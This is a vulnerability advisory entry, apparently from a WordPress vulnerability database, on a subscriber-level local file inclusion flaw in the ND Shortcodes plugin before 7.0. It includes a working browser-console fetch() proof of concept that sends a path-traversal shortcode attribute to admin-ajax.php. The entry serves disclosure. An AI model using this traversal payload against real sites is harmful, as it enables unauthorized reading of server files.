Lucene search

K
wpexploitWpvulndbWPEX-ID:0805ED7E-395D-48DE-B484-6C3EC1CD4B8E
HistoryJun 12, 2023 - 12:00 a.m.

ND Shortcodes < 7.0 - Subscriber+ LFI

2023-06-1200:00:00
wpvulndb
101
nd shortcodes
lfi
security fix
web exploit
vulnerability
subscriber user
ajax request

EPSS

0.001

Percentile

32.1%

The plugin does not validate some shortcode attributes before using them to generate paths passed to include function/s, allowing any authenticated users such as subscriber to perform LFI attacks

Run the below command in the developer console of the web browser while being on the blog as a subscriber user, this will include the index.php file of the root of the blog

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[nd_options_testimonial nd_options_layout='../../../../../../index']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

Numerous shortcodes were affected by this

EPSS

0.001

Percentile

32.1%

Related for WPEX-ID:0805ED7E-395D-48DE-B484-6C3EC1CD4B8E